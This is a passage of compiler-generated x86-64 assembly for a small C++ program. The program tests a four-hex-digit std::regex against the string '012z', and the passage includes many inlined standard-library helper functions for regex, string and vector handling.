movsx ecx, BYTE PTR [rbp-12] mov rdx, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rdx call rax leave ret _ZNKSt5ctypeIcE7tolowerEPcPKc: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] add rax, 40 mov rax, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-24] mov rsi, QWORD PTR [rbp-16] mov rcx, QWORD PTR [rbp-8] mov rdi, rcx call rax leave ret _ZNKSt5ctypeIcE5widenEc: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov eax, esi mov BYTE PTR [rbp-12], al mov rax, QWORD PTR [rbp-8] movzx eax, BYTE PTR [rax+56] test al, al je .L70 movzx eax, BYTE PTR [rbp-12] movzx eax, al mov rdx, QWORD PTR [rbp-8] cdqe movzx eax, BYTE PTR [rdx+57+rax] jmp .L71 .L70: mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt5ctypeIcE13_M_widen_initEv mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] add rax, 48 mov rax, QWORD PTR [rax] movsx ecx, BYTE PTR [rbp-12] mov rdx, QWORD PTR [rbp-8] mov esi, ecx mov rdi, rdx call rax nop .L71: leave ret _ZNKSt5ctypeIcE6narrowEcc: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov eax, esi mov BYTE PTR [rbp-28], al mov eax, edx mov BYTE PTR [rbp-32], al movzx eax, BYTE PTR [rbp-28] movzx eax, al mov rdx, QWORD PTR [rbp-24] cdqe movzx eax, BYTE PTR [rdx+313+rax] test al, al je .L73 movzx eax, BYTE PTR [rbp-28] movzx eax, al mov rdx, QWORD PTR [rbp-24] cdqe movzx eax, BYTE PTR [rdx+313+rax] jmp .L74 .L73: mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax] add rax, 64 mov rax, QWORD PTR [rax] movsx edx, BYTE PTR [rbp-32] movsx esi, BYTE PTR [rbp-28] mov rcx, QWORD PTR [rbp-24] mov rdi, rcx call rax mov BYTE PTR [rbp-1], al movzx eax, BYTE PTR [rbp-1] cmp al, BYTE PTR [rbp-32] je .L75 movzx eax, BYTE PTR [rbp-28] movzx eax, al mov rdx, QWORD PTR [rbp-24] cdqe movzx ecx, BYTE PTR [rbp-1] mov BYTE PTR [rdx+313+rax], cl .L75: movzx eax, BYTE PTR [rbp-1] .L74: leave ret _ZNKSt5ctypeIcE2isEtc: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov eax, esi mov WORD PTR [rbp-12], ax mov eax, edx mov BYTE PTR [rbp-16], al mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+48] movzx edx, BYTE PTR [rbp-16] movzx edx, dl add rdx, rdx add rax, rdx movzx eax, WORD PTR [rax] and ax, WORD PTR [rbp-12] test ax, ax setne al pop rbp ret _ZNSt15_Rb_tree_headerC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov DWORD PTR [rax], 0 mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt15_Rb_tree_header8_M_resetEv nop leave ret _ZNSt15_Rb_tree_header8_M_resetEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+8], 0 mov rdx, QWORD PTR [rbp-8] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+16], rdx mov rdx, QWORD PTR [rbp-8] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+24], rdx mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+32], 0 nop pop rbp ret _ZZNSt19_Sp_make_shared_tag5_S_tiEvE5__tag: .zero 16 _ZNSt19_Sp_make_shared_tag5_S_tiEv: push rbp mov rbp, rsp mov eax, OFFSET FLAT:_ZZNSt19_Sp_make_shared_tag5_S_tiEvE5__tag pop rbp ret _ZSt16__deque_buf_sizem: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi cmp QWORD PTR [rbp-8], 511 ja .L83 mov eax, 512 mov edx, 0 div QWORD PTR [rbp-8] jmp .L85 .L83: mov eax, 1 .L85: pop rbp ret _ZNSt9_Any_data9_M_accessEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNKSt9_Any_data9_M_accessEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt14_Function_baseC2Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+16], 0 nop pop rbp ret _ZNSt14_Function_baseD2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+16] test rax, rax je .L93 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+16] mov rsi, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rbp-8] mov edx, 3 mov rdi, rcx call rax .L93: nop leave ret _ZNKSt14_Function_base8_M_emptyEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+16] test rax, rax sete al pop rbp ret _ZNSt15regex_constantsanENS_18syntax_option_typeES0_: push rbp mov rbp, rsp mov DWORD PTR [rbp-4], edi mov DWORD PTR [rbp-8], esi mov eax, DWORD PTR [rbp-4] and eax, DWORD PTR [rbp-8] pop rbp ret _ZNSt15regex_constantsorENS_18syntax_option_typeES0_: push rbp mov rbp, rsp mov DWORD PTR [rbp-4], edi mov DWORD PTR [rbp-8], esi mov eax, DWORD PTR [rbp-4] or eax, DWORD PTR [rbp-8] pop rbp ret _ZNSt15regex_constantsanENS_15match_flag_typeES0_: push rbp mov rbp, rsp mov DWORD PTR [rbp-4], edi mov DWORD PTR [rbp-8], esi mov eax, DWORD PTR [rbp-4] and eax, DWORD PTR [rbp-8] pop rbp ret _ZNSt15regex_constantsorENS_15match_flag_typeES0_: push rbp mov rbp, rsp mov DWORD PTR [rbp-4], edi mov DWORD PTR [rbp-8], esi mov eax, DWORD PTR [rbp-4] or eax, DWORD PTR [rbp-8] pop rbp ret _ZNSt15regex_constantscoENS_15match_flag_typeE: push rbp mov rbp, rsp mov DWORD PTR [rbp-4], edi mov eax, DWORD PTR [rbp-4] not eax pop rbp ret _ZNSt11regex_errorC2ENSt15regex_constants10error_typeEPKc: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov DWORD PTR [rbp-12], esi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt13runtime_errorC2EPKc mov edx, OFFSET FLAT:_ZTVSt11regex_error+16 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-8] mov edx, DWORD PTR [rbp-12] mov DWORD PTR [rax+16], edx nop leave ret _ZSt19__throw_regex_errorNSt15regex_constants10error_typeEPKc: push rbp mov rbp, rsp push r12 push rbx sub rsp, 16 mov DWORD PTR [rbp-20], edi mov QWORD PTR [rbp-32], rsi mov edi, 24 call __cxa_allocate_exception mov rbx, rax mov rdx, QWORD PTR [rbp-32] mov eax, DWORD PTR [rbp-20] mov esi, eax mov rdi, rbx call _ZNSt11regex_errorC1ENSt15regex_constants10error_typeEPKc mov edx, OFFSET FLAT:_ZNSt11regex_errorD1Ev mov esi, OFFSET FLAT:_ZTISt11regex_error mov rdi, rbx call __cxa_throw mov r12, rax mov rdi, rbx call __cxa_free_exception mov rax, r12 mov rdi, rax call _Unwind_Resume _ZNSt8__detail11_State_baseC2ENS_7_OpcodeE: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov DWORD PTR [rbp-12], esi mov rax, QWORD PTR [rbp-8] mov edx, DWORD PTR [rbp-12] mov DWORD PTR [rax], edx mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+8], -1 nop pop rbp ret _ZNSt8__detail11_State_base10_M_has_altEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax] cmp eax, 1 je .L112 mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax] cmp eax, 2 je .L112 mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax] cmp eax, 7 jne .L113 .L112: mov eax, 1 jmp .L114 .L113: mov eax, 0 .L114: pop rbp ret _ZNSt8__detail9_NFA_baseC2ENSt15regex_constants18syntax_option_typeE: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov DWORD PTR [rbp-12], esi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt6vectorImSaImEEC1Ev mov rax, QWORD PTR [rbp-8] mov edx, DWORD PTR [rbp-12] mov DWORD PTR [rax+24], edx mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+32], 0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+40], 0 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+48], 0 nop leave ret _ZNKSt8__detail9_NFA_base8_M_startEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+32] pop rbp ret _ZNKSt8__detail9_NFA_base12_M_sub_countEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+40] pop rbp ret _ZNKSt17integral_constantIbLb1EEcvbEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov eax, 1 pop rbp ret _ZSt7forwardIcEOT_RNSt16remove_referenceIS0_E4typeE: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt4pairIccEC1IccLb1EEEOT_OT0_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZSt7forwardIcEOT_RNSt16remove_referenceIS0_E4typeE movzx edx, BYTE PTR [rax] mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax], dl mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZSt7forwardIcEOT_RNSt16remove_referenceIS0_E4typeE movzx edx, BYTE PTR [rax] mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+1], dl nop leave ret .LC0: .string "^$\\.*+?()[]{}|" .LC1: .string ".[\\*^$" .LC2: .string ".[\\()*+?{|^$" .LC3: .string ".[\\()*+?{|^$\n" .LC4: .string ".[\\*^$\n" _ZNSt8__detail12_ScannerBaseC2ENSt15regex_constants18syntax_option_typeE: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov DWORD PTR [rbp-12], esi mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], 0 mov QWORD PTR [rax+8], 0 mov QWORD PTR [rax+16], 0 mov QWORD PTR [rax+24], 0 mov QWORD PTR [rax+32], 0 mov QWORD PTR [rax+40], 0 mov QWORD PTR [rax+48], 0 mov QWORD PTR [rax+56], 0 mov QWORD PTR [rax+64], 0 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax], 94 mov rax, QWORD PTR [rbp-8] mov DWORD PTR [rax+4], 22 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+8], 36 mov rax, QWORD PTR [rbp-8] mov DWORD PTR [rax+12], 23 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+16], 46 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+24], 42 mov rax, QWORD PTR [rbp-8] mov DWORD PTR [rax+28], 20 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+32], 43 mov rax, QWORD PTR [rbp-8] mov DWORD PTR [rax+36], 21 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+40], 63 mov rax, QWORD PTR [rbp-8] mov DWORD PTR [rax+44], 18 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+48], 124 mov rax, QWORD PTR [rbp-8] mov DWORD PTR [rax+52], 19 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+56], 10 mov rax, QWORD PTR [rbp-8] mov DWORD PTR [rax+60], 19 mov rax, QWORD PTR [rbp-8] mov DWORD PTR [rax+68], 19 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+72], 0 mov QWORD PTR [rax+80], 0 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+72], 48 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+74], 98 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+75], 8 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+76], 102 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+77], 12 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+78], 110 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+79], 10 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+80], 114 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+81], 13 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+82], 116 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+83], 9 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+84], 118 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+85], 11 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+88], 0 mov QWORD PTR [rax+96], 0 mov DWORD PTR [rax+104], 0 mov WORD PTR [rax+108], 0 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+88], 34 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+89], 34 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+90], 47 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+91], 47 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+92], 92 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+93], 92 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+94], 97 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+95], 7 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+96], 98 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+97], 8 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+98], 102 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+99], 12 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+100], 110 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+101], 10 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+102], 114 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+103], 13 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+104], 116 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+105], 9 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+106], 118 mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+107], 11 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+112], OFFSET FLAT:.LC0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+120], OFFSET FLAT:.LC1 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+128], OFFSET FLAT:.LC2 mov rax, QWORD PTR [rbp-8] mov DWORD PTR [rax+136], 0 mov rax, QWORD PTR [rbp-8] mov edx, DWORD PTR [rbp-12] mov DWORD PTR [rax+140], edx mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt8__detail12_ScannerBase10_M_is_ecmaEv test al, al je .L127 mov rax, QWORD PTR [rbp-8] add rax, 72 jmp .L128 .L127: mov rax, QWORD PTR [rbp-8] add rax, 88 .L128: mov rdx, QWORD PTR [rbp-8] mov QWORD PTR [rdx+152], rax mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt8__detail12_ScannerBase10_M_is_ecmaEv test al, al je .L129 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+112] jmp .L130 .L129: mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax+140] mov esi, 32 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax je .L131 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+120] jmp .L130 .L131: mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax+140] mov esi, 64 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax je .L133 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+128] jmp .L130 .L133: mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax+140] mov esi, 256 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax jne .L135 mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax+140] mov esi, 512 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax jne .L136 mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax+140] mov esi, 128 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax je .L137 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+128] jmp .L130 .L137: mov eax, 0 jmp .L130 .L136: mov eax, OFFSET FLAT:.LC3 jmp .L130 .L135: mov eax, OFFSET FLAT:.LC4 .L130: mov rdx, QWORD PTR [rbp-8] mov QWORD PTR [rdx+160], rax mov rax, QWORD PTR [rbp-8] mov BYTE PTR [rax+168], 0 nop leave ret _ZNSt8__detail12_ScannerBase14_M_find_escapeEc: push rbp mov rbp, rsp mov QWORD PTR [rbp-24], rdi mov eax, esi mov BYTE PTR [rbp-28], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+152] mov QWORD PTR [rbp-8], rax .L145: mov rax, QWORD PTR [rbp-8] movzx eax, BYTE PTR [rax] test al, al je .L142 mov rax, QWORD PTR [rbp-8] movzx eax, BYTE PTR [rax] cmp BYTE PTR [rbp-28], al jne .L143 mov rax, QWORD PTR [rbp-8] add rax, 1 jmp .L144 .L143: add QWORD PTR [rbp-8], 2 jmp .L145 .L142: mov eax, 0 .L144: pop rbp ret _ZNKSt8__detail12_ScannerBase10_M_is_ecmaEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax+140] mov esi, 16 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax setne al leave ret _ZNKSt8__detail12_ScannerBase11_M_is_basicEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov esi, 256 mov edi, 32 call _ZNSt15regex_constantsorENS_18syntax_option_typeES0_ mov edx, eax mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax+140] mov esi, edx mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax setne al leave ret _ZNKSt8__detail12_ScannerBase9_M_is_awkEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax+140] mov esi, 128 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax setne al leave ret _ZSt3minImERKT_S2_S2_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] cmp rdx, rax jnb .L153 mov rax, QWORD PTR [rbp-16] jmp .L154 .L153: mov rax, QWORD PTR [rbp-8] .L154: pop rbp ret _ZN9__gnu_cxx14__alloc_traitsISaIcEcE27_S_propagate_on_move_assignEv: push rbp mov rbp, rsp mov eax, 1 pop rbp ret _ZN9__gnu_cxx14__alloc_traitsISaIcEcE15_S_always_equalEv: push rbp mov rbp, rsp mov eax, 1 pop rbp ret .LC5: .string "[a-fA-F0-9]{4}" .LC6: .string "012z" main: push rbp mov rbp, rsp push rbx sub rsp, 56 lea rax, [rbp-48] mov edx, 16 mov esi, OFFSET FLAT:.LC5 mov rdi, rax call _ZNSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEEC1EPKcNSt15regex_constants18syntax_option_typeE lea rax, [rbp-48] mov edx, 0 mov rsi, rax mov edi, OFFSET FLAT:.LC6 call _ZSt11regex_matchIcNSt7__cxx1112regex_traitsIcEEEbPKT_RKNS0_11basic_regexIS3_T0_EENSt15regex_constants15match_flag_typeE movzx eax, al mov esi, eax mov edi, OFFSET FLAT:_ZSt4cout call _ZNSolsEb mov esi, OFFSET FLAT:_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_ mov rdi, rax call _ZNSolsEPFRSoS_E mov BYTE PTR [rbp-51], 1 mov BYTE PTR [rbp-50], 1 mov BYTE PTR [rbp-49], 0 lea rax, [rbp-51] add rax, 3 lea rcx, [rbp-51] mov edx, 1 mov rsi, rax mov rdi, rcx call _ZSt10accumulateIPbiSt7bit_andIbEET0_T_S4_S3_T1_ mov esi, eax mov edi, OFFSET FLAT:_ZSt4cout call _ZNSolsEi lea rax, [rbp-48] mov rdi, rax call _ZNSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEED1Ev mov eax, 0 jmp .L163 mov rbx, rax lea rax, [rbp-48] mov rdi, rax call _ZNSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L163: add rsp, 56 pop rbx pop rbp ret _ZN9__gnu_cxx11char_traitsIcE2ltERKcS3_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] movzx edx, BYTE PTR [rax] mov rax, QWORD PTR [rbp-16] movzx eax, BYTE PTR [rax] cmp dl, al setl al pop rbp ret _ZN9__gnu_cxx11char_traitsIcE7compareEPKcS3_m: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov QWORD PTR [rbp-8], 0 .L171: mov rax, QWORD PTR [rbp-8] cmp rax, QWORD PTR [rbp-40] jnb .L167 mov rdx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-8] add rdx, rax mov rcx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-8] add rax, rcx mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx11char_traitsIcE2ltERKcS3_ test al, al je .L168 mov eax, -1 jmp .L169 .L168: mov rdx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-8] add rdx, rax mov rcx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-8] add rax, rcx mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx11char_traitsIcE2ltERKcS3_ test al, al je .L170 mov eax, 1 jmp .L169 .L170: add QWORD PTR [rbp-8], 1 jmp .L171 .L167: mov eax, 0 .L169: leave ret _ZN9__gnu_cxx11char_traitsIcE6lengthEPKc: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-8], 0 .L174: mov BYTE PTR [rbp-9], 0 mov rdx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-8] add rdx, rax lea rax, [rbp-9] mov rsi, rax mov rdi, rdx call _ZN9__gnu_cxx11char_traitsIcE2eqERKcS3_ xor eax, 1 test al, al je .L173 add QWORD PTR [rbp-8], 1 jmp .L174 .L173: mov rax, QWORD PTR [rbp-8] leave ret _ZN9__gnu_cxx11char_traitsIcE2eqERKcS3_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] movzx edx, BYTE PTR [rax] mov rax, QWORD PTR [rbp-16] movzx eax, BYTE PTR [rax] cmp dl, al sete al pop rbp ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_Alloc_hiderD2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSaIcED2Ev nop leave ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE10_M_disposeEv mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_Alloc_hiderD1Ev nop leave ret _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4dataEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv leave ret _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+8] pop rbp ret _ZNSt6vectorImSaImEEC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseImSaImEEC2Ev nop leave ret _ZNSt6vectorImSaImEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseImSaImEE19_M_get_Tp_allocatorEv mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] mov rsi, rcx mov rdi, rax call _ZSt8_DestroyIPmmEvT_S1_RSaIT0_E mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseImSaImEED2Ev nop leave ret _ZSt3maxImERKT_S2_S2_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-16] mov rax, QWORD PTR [rax] cmp rdx, rax jnb .L187 mov rax, QWORD PTR [rbp-16] jmp .L188 .L187: mov rax, QWORD PTR [rbp-8] .L188: pop rbp ret _ZNSt14__shared_countILN9__gnu_cxx12_Lock_policyE2EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] test rax, rax je .L191 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] mov rdi, rax call _ZNSt16_Sp_counted_baseILN9__gnu_cxx12_Lock_policyE2EE10_M_releaseEv .L191: nop leave ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC2Ev: push rbp mov rbp, rsp push rbx sub rsp, 40 mov QWORD PTR [rbp-40], rdi mov rbx, QWORD PTR [rbp-40] lea rax, [rbp-17] mov rdi, rax call _ZNSaIcEC1Ev mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_local_dataEv mov rcx, rax lea rax, [rbp-17] mov rdx, rax mov rsi, rcx mov rdi, rbx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_Alloc_hiderC1EPcOS3_ lea rax, [rbp-17] mov rdi, rax call _ZNSaIcED1Ev mov rax, QWORD PTR [rbp-40] mov esi, 0 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_set_lengthEm nop add rsp, 40 pop rbx pop rbp ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC2EOS4_: push rbp mov rbp, rsp push r12 push rbx sub rsp, 16 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rbx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv mov rdi, rax call _ZSt4moveIRSaIcEEONSt16remove_referenceIT_E4typeEOS3_ mov r12, rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_local_dataEv mov rdx, r12 mov rsi, rax mov rdi, rbx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_Alloc_hiderC1EPcOS3_ mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE11_M_is_localEv test al, al je .L194 mov rax, QWORD PTR [rbp-32] lea rcx, [rax+16] mov rax, QWORD PTR [rbp-24] add rax, 16 mov edx, 16 mov rsi, rcx mov rdi, rax call 